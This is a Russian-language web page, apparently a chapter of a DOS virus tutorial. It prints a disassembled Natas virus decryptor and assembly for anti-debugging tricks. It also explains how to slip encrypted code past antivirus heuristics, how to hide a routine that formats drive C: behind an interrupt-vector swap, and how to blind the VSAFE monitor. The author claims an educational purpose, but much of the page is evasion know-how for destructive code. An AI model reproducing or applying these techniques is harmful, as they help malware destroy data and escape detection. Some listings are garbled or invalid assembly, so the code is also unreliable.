Предлагаю вам потренироваться с распознавании вирусных кодов, поскольку знать "врага" и как он работает, значит контролировать все его действия, быстро вылавливать и уничтожать!

Для самостоятельного изучения предлагаю код вируса Natas, взятый из зараженного файла с помощью Turbo Debuger.

  cs:1C35 C7C6ED08       mov    si,08ED

 cs:1C39 89CB                 mov    bx,cx
 cs:1C3B C7C1E6E6       mov    cx,E6E6
 cs:1C3F 81E9C0E5       sub    cx,E5C0
 cs:1C43 81F3B56B       xor    bx,6BB5
 cs:1C47 C7C55B0A       mov    bp,0A5B
 cs:1C4B 8BFC               mov    di,sp
 cs:1C4D 93                   xchg   bx,ax
 cs:1C4E 87C3               xchg   bx,ax
 cs:1C50 83EE01           sub    si,0001
 cs:1C53 45                    inc    bp
 cs:1C54 81EB76F2       sub    bx,F276
 cs:1C58 81EB32F5       sub    bx,F532
 cs:1C5C 45                    inc    bp
 cs:1C5D D1C9              ror    cx,1
cs:1C62 0BF6                or     si,si
 cs:1C64 87FA              xchg   dx,di
 cs:1C66 7C02              jl     1C6A
 cs:1C68 EBE4             jmp    1C4E
 cs:1C6A E960F1         jmp    0DCD

Это его "голова". С помощью этого дешифровщика он декодирует свое тело и запускается.

Далее предлагаю вашему вниманию главу об общих методах борьбы с отладчиками с помощью которых можно засечь вирус. Зная их вы сможете легко избавиться даже от самой противной "компьютерной заразы"

 

Методы борьбы с отладчиками и дизассемблерами.

 

        Режим  пошагового  выполнения   (трассировки)   программы инициируется установкой флага TF в регистре флагов.  В  пошаговом режиме   процессор   автоматически   генерирует    трассировочное прерывание (INT 1 – о нем я рассказывал при описании вируса Midnight см. выше)  после  выполнения  каждой  команды  или  пары команд, если первая команда связана с изменением  или  пересылкой регистра  SS.  Процессоры  8086/8088  пропускаnbsp;ют   трассировочное прерывание после команд изменения или пересылки любых  сегментных регистров. Эта особенность пошагового  режима  работы  называется "потерей трассировочного прерывания" и  может  быть  использована для определения работы программы под отладчиком. Обычно процедура обработки  трассировочного  прерывания  используется  программами отладки для индикации содержимого  регистров  и  некоторых  ячеек памяти. 

Пnbsp;nbsp;ри обработке  прерываний  процессор  сохраняет  в  стеке содержимое  регистра  флагов,  адрес  возврата  CS:IP,  а   затем сбрасывает флаги IF и TF, что предотвращает пошаговое  выполнение самого  обработчика   прерывания.   Когда   процедура   обработки прерывания завершается, из стека  извлекаются  прежние  состояния флагов и процессор снова переводится в  пошаговый  режим  работы. Выполняя программу в режиме трассировки, все популярные отладчики (включая Turbo Debugger, Periscope,  CodeView,  AFD)  отслеживают команды PUSHF и INT, и перед их выполнением сбрасывают  флаг  TF. Этим  достигается  эмуляция  реального   поведения   трассируемой программы -- при работе под отладчиком в стек  засылаются  те  же самые данные, что и в обычном режиме работы.

        Следующий  фрагмент  кода  реализует  один  из  возможных способов регистрации выполнения программы в  режиме  трассировки, использующий  особенности  работы  процессора   и   отладчика   в пошаговом режиме:

        ...
        pop ss          ; в режиме трассировки после этой команды
                            ; прерывание int 1 не будет вызвано
        pushf
        pop ax          ; получить флаги в ax
        test ax,0100h   ; установлен ли флаг TF ?
        jnz tracing
        ...
tracing:                ; работа в пошаговом режиме!
        ...

        Потеря  процессором  трассировочного   прерывания   после выполнения команды POP SS  приводит  к  тому,  что  отладчик  "не заметит" команду PUSHF и в стек будет занесено реальное состояние регистра флагов (с установленным битом TF).

        Как правило, отладчики  позволяют  устанавливать  в  коде программы контрольные точки (Вreak points). Прерывание контрольной точки  вызывается  командой  INT  3  с   кодом   операции   0CCh. Однобайтовая длина команды  INT  3  дает  возможность  установить контрольную точку в любое место  программы,  где  нужно  прервать нормальное выполнение и выполнить некоторые специальные действия. Поскольку использование прерываний 1 и 3  характерно  практически для всех отладочных средств, можно сделать предварительный  вывод о работе программы под отладчиком, если вектора  этих  прерываний не указывают на инструкцию IRET (код 0CFh). Если же в достаточном количестве разбросать по коду программы команды вызова прерывания контрольной  точки,  отладчик  будет  останавливаться  на  каждой инструкции  INT  3,  а  при  нормальном  запуске   программы   ее выполнение  прерываться  не  будет.  Эффективность  этого  метода существенно повышается при использовании команд вызова прерывания контрольной точки внутри  циклов  с  большим  числом  повторений.

Естественная реакция хакера в таких случаях -- замена  инструкций

INT 3 на NOP. Поэтому предложенный  способ  желательно  дополнять подсчетом контрольной суммы участков кода, в  которых  происходит вызов INT 3, или же поручать обработчику  прерывания  контрольной точки какую-нибудь полезную работу.  В  простейшем  случае  можно просто  переустановить  вектора  этих  прерываний  на  процедуры, вызывающие  завершение  выполняемой   программы   (например,   на обработчики прерываний INT 22 (Program  Termination)  или  INT  0 (Divide Error)),  но  опытного  хакера  этот  способ  надолго  не остановит. плохих результатов в плане защиты кода от трассировки можно добиться, используя обработчики отладочных  прерываний  для динамической модификации  кода  программы.  В  следующем  примере обработчик прерывания INT 1  замещает  пару  команд  NOP  вызовом прерывания 21h, сбрасывая перед возвратом флаг TF для  выхода  из пошагового режима. При  трассировке  этой  программы  отладчиками CodeView и AFD наш обработчик INT 1 так и не вызывается, а  Turbo Debugger, хотя и ухитряется заменить  NOP'ы  на  INT  21,  дальше

выполнения первой команды PUSHF идти не желает. Во  всех  случаях результат один: вывод на экран сообщения msg блокируется.

code segment
assume cs:code,ds:code,ss:code
org 100h
    start: mov ax,2501h     ; установить обработчик int 1
    mov dx,offset int1
    int 21h
    pushf                   ; инициировать пошаговое
    pop ax                  ; выполнение программы
    or ah,1                 ; TF=1
    push ax
    popf
    mov dx,offset msg       ; вывод сообщения
    mov ah,09h
print:
    nop                     ; это место для int 21h
    nop
    int 20h                 ; выход
int1:
    push bp                 ; обработчик int 1
    mov bp,sp
    push ax
    mov ax,[bp+6]           ; сбросить флаг TF
    and ah,not 1
    mov [bp+6],ax
    mov word ptr print,021CDh   ; сформировать команду int 21h
    pop ax
    pop bp
    iret
    msg db 'Нормальное выполнение! ',0Ah,0Dh,'$'
code ends
end start

         Еще один прекрасный  способ  сбить  с  толку  практически любой отладчик -- назначение стека в область  исполняемых  кодов.

Как правило, все отладчики используют стек трассируемой программы и для своих нужд, затирая при этом отлаживаемый код. В  следующем примере  серия  команд  push  ax  затирает  команды   выхода   из программы, что позволяет программе продолжить выполнение и  после метки stacktop. При попытке трассирования этого фрагмента  обычно затираются и сами команды push ax.

     ...

    push cs             ; настроить стек в область кода
    pop ss
    mov sp,offset stacktop
    mov ax,9090h ; nop,nop
    push ax             ; затираем инструкции
    push ax
    push ax
    nop
    db 0B8h,00h,04Ch    ; mov ax,4C00h
    db 0CDh,21h         ; int 21h
    db 90h              ; nop
stacktop:
    ...                ; здесь нужно восстановить указатели стека!

        Интересные методы,  позволяющие  изменить  логику  работы программы   при   ее   пошаговом   исполнении   под   отладчиком, основываются на использовании  конвейерного  принципа  выполнения команд центральным процессором (очереди команд).  Очередь  команд   представляет   собой   набор   байтовых регистров  в  схеме  шинного  интерфейса  процессора,  в  которые

поступают коды, выбранные из программной  памяти  непосредственно перед их выполнением. Когда  операционное  устройство  процессора занято  выполнением  команды,  шинный  интерфейс   самостоятельно инициирует опережающую выборку кодов очередных команд из  памяти, что позволяет совместить во времени  фазы  выборки  и  выполнения команд. Таким образом достигается высокая плотность загрузки шины и  повышение  скорости  выполнения  программы.   При   выполнении

операционным устройством команд передачи управления  (условные  и безусловные переходы, вызовы подпрограмм и прерываний, возврат из подпрограмм и прерываний), шинный интерфейс сбрасывает очередь  и начинает выборку команд  по  новому  адресу.  Отладчик,  выполняя программу в пошаговом режиме, очищает очередь  команд  на  каждом шаге,    вызывая     трассировочное     прерывание.     Механизмы противодействия трассировке могут использовать  эту  особенность. Пусть, например, cmd1 и cmd2  --  две  последовательные  команды, выбранные шинным интерфейсом в  очередь  для  выполнения,  причем cmd1  не  является  командой  передачи  управления  или  командой пересылки/изменения  сегментных  регистров.  Если  команда   cmd1 изменит "образ" команды cmd2 в памяти  на  cmd2',  это  никак  не отразится на  ходе  выполнения  программы  в  нормальном  режиме, поскольку процессор перейдет к исполнению  следующей  команды  из

очереди (cmd2). В пошаговом режиме после выполнения команды  cmd1 произойдет вызов  трассировочного  прерывания.  При  возврате  из прерывания очередь команд сбрасывается  и  из  памяти  выбирается модифицированная команда cmd2', что, как правило, изменяет логику работы   программы.   Следующий   фрагмент   кода    иллюстрирует проведенные рассуждения.

...
    mov byte ptr _cmd2,0F9h ; 0F9h -- код операции stc
_cmd2:
    clc
    jc tracing
    ...        ; код "нормального" режима
    ...        ; выполнения программы
tracing:
    ...         ; работа под отладчиком!

        В приведенном примере команда mov byte  ptr  _cmd2,  0F9h (cmd1) осуществляет замену следующей команды clc  (cmd2)  на  stc (cmd2'). Однако, в нормальном  режиме  работы  программы,  вместо

команды stc будет выполнена "старая" команда clc, которая к этому моменту уже находится в  очереди  команд.  При  выполнении  этого фрагмента в пошаговом режиме  очередь  команд  будет  сброшена  и выполнится команда stc, что вызовет переход по метке  tracing  на соответствующий обработчик особой ситуации.

        В некоторых  случаях  удается  обнаружить  трассировочный

режим выполнения программы, используя особенности выполнения  под отладчиком системных вызовов DOS. При  обработке  прерывания  21h текущий указатель стека SS:SP исполняемой  программы  сохраняется по смещению  2Eh  от  начала  PSP.  Если  INT  21h  вызывается  в пошаговом  режиме,  его  обработка   поручается   соответствующим функциям   отладчика   и   указатель   стека,    как     правило, переустанавливается. Иногда это приводит к тому, что после вызова системной функции в  PSP  заносится  указатель  стека  отладчика. Такая  ситуация  характерна,  например,  для   отладчиков   Turbo Debugger и CodeView, но AFD и Periscope на эту удочку  не  клюют. Программная  реализация   описанной   ловушки   может   выглядеть следующим образом:

    ...
    mov ah,9
    int 21h         ; вызов функции вывода строки
    ...
    mov ax,ss       ; сравнение стековых сегментов
    cmp ax,es:[30h] ; (предполагаем, что ES указывает на PSP)
    jne tracing     ; сегменты не равны -- работа под отладчиком!
    ...
tracing:
    ...   ; реакция на трассировку

        Весьма  эффективное  средство   защиты   от   отладки   и

дизассемблирования -- использование  обработчиков  трассировочных прерываний для динамической модификации кода. В следующем примере код программы расшифровывается обработчиком пошагового прерывания INT 1.

...
    xor ax,ax
    mov es,ax
    mov ax,word ptr es:[06h]    ; сохраняем вектор прерывания 01h
    mov cs:int01seg,ax
    mov ax,word ptr es:[04h]
    mov cs:int01off,ax
    mov word ptr es:[06h],cs    ; устанавливаем новый обработчик
    mov word ptr es:[04h],offset coder
    mov dx,offset msg
    pushf
    pop ax
    or ax,0100h     ; устанавливаем флаг TF
    push ax
    popf
    nop
 
 ; зашифрованные команды:
 
    db 2Eh,09h  ; mov ah,9
    db 57h,21h  ; int 21h
    db 06h      ; pushf
    db 0C2h     ; pop ax
    db 0BFh,0FFh,0FEh   ; and ax,0FEFFh
    db 0CAh     ; push ax
    db 07h      ; popf
    db 0Ah      ; nop
 
    mov ax,word ptr cs:int01seg ; восстанавливаем вектор 01h
    mov word ptr es:[06h],ax
    mov ax,word ptr cs:int01off
    mov word ptr es:[04h],ax
 
    mov ax,4c00h
    int 21h
 
coder:                      ; обработчик int 01h
    push bp
    mov bp,sp
    mov bp,word ptr [bp+2]
    xor byte ptr cs:[bp],9Ah
    pop bp
    iret
 
int01off dw 0
int01seg dw 0
msg  db 'Try to trace me!',0Dh,0Ah,'$'
    ...


Методы "одурачивания" эвристических анализаторов

 

Итак, чтобы воспрепятствовать эвристическому анализу собственного кода небходимо зашифровать тело вируса. Но эвристик может проанализировать процедуру и дешифровать основное тело, да еще и завопить что мол CRYPT.VIRUS. Делается все намного проще чем вы думаете. Так как эвристик обычно работает в сегменте в 64к, то первая же операция с данными за

пределами сегмента приводит его в состояние легкого шока,

а межсегментная передача управления сводит их с ума.

Например:

         .model tiny
         .386
         .code
         .startup
         org 100h
         mov ax,0F7ADh
         xor di,di
         mov es,di
         cld
         stosw
         mov ax,0ABD0h
         stosw
         mov ax,0FAE2h
         stosw
         mov al,0CFh   ; в результате по адресу 0000:0000 образуется
         stosb         ; программа дешифрации - lodsw/not ax/stosw/loop/iret
         xor ax,ax
         mov di,80h
         push word ptr es:[di]    ; а вместо адреса int 20 мы и поствим ее
         stosw                   ; адрес, предварительно сохранив старый
         push word ptr es:[di]
         push di
         stosw
         push cs
         pop es
         lea di,_coded       
         mov cx,(_end - _coded+1)/2
         mov si,di
         int 20h                          ; вызываем процедуру дешифрации
_coded:
         ; а это собственно тело программы.
 
         byte 0a0h,95h,0ffh,0e0h,70h,0fah,0b0h,0b0h,70h,0fah
         byte 045h,0b9h,0feh,0f1h,0e0h,4bh,0f6h,32h,0deh,47h
         byte 0ffh,0b3h,32h,0deh,7dh,57h,1fh,1ch,1eh,0dfh,1eh
         byte 1dh,5fh,1fh,1dh,51h,5dh,5fh,54h,0f2h,0f5h,0dbh
_end:
 
end

Что же делает это маленький, но полезный кусок? Он создает в таблице векторов процедуру дешифрации, а затем вызывает ее. Кроме того есть два плюса -

1) затираем вектор int 1, что усложняет отладку в реальном режиме

2) используем для вызова безобидный int 20 - накалываем эвристик и тут.Можете изучить работу этой программки - она безобидна, просто печатает сообщение на экран, но тем не менее не опознается

как зашифрованная. Какие же выводы мы можем сделать из этого? А такие:

         1) Эвристик не может эмулировать всю память, в том числе системные области.

         2) Эвристик не может эмулировать аппаратную часть.

То есть если мы завяжем алгоритм дешифрации с одним из этих

пунктов, то эвристик тихо и мирно "заснет".

Кроме того можно переопределить прерывания. Например надо отформатировать диск (эвристический анализатор вряд ли среагирует, но тот кто будет смотреть вашу программу это заметит)

Mov ah,7
Mov dl,3  ;форматировать диск C:
Mov cx,0
Mov dh,0
Les bx, offset buffer
Int 13h

Неправда ли подозрительно выглядит? Даже если вы не знаете, что делает функция 7 прерывания 13h, такого куска программы наверняка "закрадется" подозрение и захочется побольше узнать о функции 7. Какого же будет удивление, когда узнаете, что эта функция форматирует диск! Мне не раз попадались такие программы – я их просто стирал!

Но бдительность может очень даже хорошо "усыпить" следующие:

........
Xor cx,cx   ; обнуляю CX
Mov ds,cs   ; деляю сегмент данных равным CX
Mov ax,0700h ; в итоге в Ah,7
                                         Al, 0
Mov dl,3  ;форматировать диск C:
Xchr dword ptr [0],[4Ch] ;заменяю содержимое векторов прерываний
                                      ; Int 0 = int 13h, а int 13h = int 0
                                      ; прерывание int 0 вызывается при ошибке 
                                         ; когда что-то пытаются поделить на ноль!
Les bx, offset buffer
Div al                                     ;делю на Al т.е. на ноль и тем самым 
                                         ;вызываю прерывание 13h.
........
Xchr dword ptr [0],[4Ch]  ;в конце все надо восстановить иначе
  ; система зависнет

.........

С этим фрагментом программы уже придется немного помучиться помучится, а стало быть труднее распознать "вредоносную" его часть. Именно это и используют большинство вирусов. Я имею в виду не конкретный алгоритм (хотя встречалось и такое), а идею запутывания мозгов человека который пытается разобраться в логике программы.

Ну и напоследок, прежде чем продолжить рассказ об антивирусах, я думаю стоит до конца рассказать о "глупости" резидентного сторожа VSAFE. В конце части про резиденты была приведена программа способная оставаться резидентно и при этом VSAFE молчал. Но можно сделать и хуже....

После того как я продемонстрировал эту идею нескольких поклонникам данного антивируса на примере у них "волосы встали дыбом". А идея простая до безобразия. Если честно меня очень удивляет почему нигде в хакерских журналах и переписках этого не было. Итак, VSAFE создает таблицы где хранятся длины файлов (и еще не знаю чего). Каждый раз когда вы пытаетесь запустить программу он (Vsafe) сравнивает ее длину с числом в таблице и если они различаются начинает "ругаться". Из этого следует нам стоит лишь пересчитать длину файла и записать полученное значение в таблицу. Но стоит ли это делать? Нет, достаточно обнулить значение таблицы (длина = 0) и Vsafe сам все пересчитает автоматически!

Вот тебе и антивирус! В итоге на  компьютере во всю будут гулять вирусы, а VSAFE будет молчать. Хуже того он будет ругаться когда вы попытаетесь вылечить зараженную программу. Длина файла изменится и Vsafe скажет, что она заражена вирусом – ерунда какая –то, неправда ли? Тем не менее факт остается фактом!

Из всего этого следует одно важное правило:

НЕ ПОЛЬЗУЙТЕСЬ АНТИВИРУСАМИ ИНОСТРАННОГО ПРОИЗВОДСТВА!

Во первых потому, что за границей нет вирусов которые есть здесь!

Во вторых антивирусы иностранного производства "глупы" до безобразия (один  Vsafe, чего стоит). Зарубежные антивирусы не рассчитаны на российского пользователя – и это факт. Кроме того довольно проблематично получать обновления к иностранным антивирусам и это тоже "минус". Но и в российских антивирусах есть определенные недочеты. Поскольку я не занимался доскональным изучением DrWeb, Adinf и им подобным мне трудно судить о их недостатках в плане реализации тех или иных алгоритмов, но в плане пользователя я все же скажу пару слов:

DrWeb до сих пор не полностью документирован. (в приложении А постараюсь примести пару таких команд) и такие вещи в антивирусах недопустимы. Adinf не работает с сетевыми дисками + иногда некорректно обрабатывает FAT32 (но последнее вроде исправили). При обращении к уплотненным дискам Adinf использует прерывание int 25h. Мне кажется стоило бы использовать встроенную функцию эмулирующую int 25h, поскольку если "посадить" вирус на 25h прерывания толку от Adinf будет мало. Но это еще надо проверить (кстати это идея! Вирус на int 25h). Иногда при работе в Windows 95 Adinf "виснет" при  открытии диска – приходиться долго настраивать. В остальном же DrWeb и Adinf на сегодняшний день являются одними из самых надежных антивирусов. А совместное их использование практически гарантирует вас от заражения вирусом.

Полностью же вы можете быть уверенны лишь тогда когда будете осторожны при работе с дискетами, принося их домой или институт. Файл сомнительного происхождения, а также различные "полезные" программульки приходящие по Fido, будите проверять не только через DrWeb, но и в ручную через Turbo Debuger или Hiew или аналогичный им. А так же будьте осторожным в обращении с компьютером, поскольку практически все неприятность случаются по неосторожности пользователей PC. Одни, например, из знакомых изучая MS DOS запускал все команды из учебника и смотрел что получится – команда Format оказалась роковой и пришлось потратить два дня, чтобы восстановить всю систему. А другой случай (самый страшный) произошел  когда мне было лет 14, тогда одна моя знакомая решила потренироваться в сборке компьютера. Разобрала, а собрала неправильно и после включения в сеть сгорела большая часть микросхем. Также мне был известен случай, когда некто освобождая пространство на диске нажал F8 по ошибке выделив все каталоги – в результате полный крах системы. И таким примерам нет конца по этому будьте внимательны при работе с компьютером т.к. его "благополучие" зависит только от вас. Так же надеюсь, что это пособие не будет обращено во вред, так как писалось оно исключительно в познавательных целях. Знать вирус – значит уберечься от него. Если данное пособие поможет вам в этом, значит я постарался не зря, хотя на эту тему можно было бы написать не один том. Но тем не менее....

nbsp;nbsp; изnbsp; xor byte ptr cs:[bp],9Ahnbsp;

nbsp; возможностьnbsp;

12345678910
0 рейтинг 0 голосов

Нет комментариев



(необязательное поле)
(необязательное поле)
С учетом постоянного наплыва спама, приходиться защищать комментарии от автоматической отправки. Пожалуйста напишите число, которое получается в результате сложения.
Запомнить личные данные ?
Внимание: Все html теги за исключением <b> and <i> будут автоматически удалены из комментария.
 

Об авторе

Афоризм:

Если похмелье не лечить - оно проходит за один день. Если лечить, то минимум за десять

Последний комментарий:

При (Мастер Йода из ме…): Привет
Гудини (Принцип подобия в…): Слишком много всего слишком глубоко. Все гораздо проще и перед вами вы видите истину везде во круг. С…

Поиск


Резная икона Сазонова Олега



ТОП-777: рейтинг сайтов, развивающих Человека

Эзотерический портал Живое Знание - место духовного развития и обмена Новым Знанием.

Записки мимоходом Персональный сайт Анатолия Беляева (Mr.ALB)